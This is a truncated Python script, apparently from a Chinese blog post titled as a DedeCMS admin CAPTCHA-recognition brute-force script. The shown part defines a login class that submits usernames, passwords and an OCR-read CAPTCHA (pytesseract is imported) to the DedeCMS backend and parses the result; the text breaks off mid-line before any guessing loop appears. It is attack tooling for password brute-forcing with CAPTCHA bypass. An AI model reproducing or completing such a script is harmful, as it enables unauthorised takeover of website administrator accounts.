#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import pytesseract
from PIL import Image
import re
class DedeCMSLogin:
def __init__(self, userid, pwd):
self.vdcode = ""
self.userid = userid
self.pwd = pwd
def login_check(self, content):
# 这里返回的情况是动态写入的,因此不可以用lxml
pattern = re.compile("document\.write\((.*?)\)")
result = pattern.findall(content)[2]
return result
def login(self, ssion, url):
data = {
"userid": self.userid,
"pwd": self.pwd,
"adminstyle": "newdedecms",
"dopost": "login",
"keeptime": "604800",
"validate": self.vdcode,
}
response = ssion.post(url, data=data)
loginResult = self.login_check(response.text)
#print(loginResult)
return loginRe
Dedecms 后台自动识别验证码爆破脚本
最新推荐文章于 2024-04-05 09:44:31 发布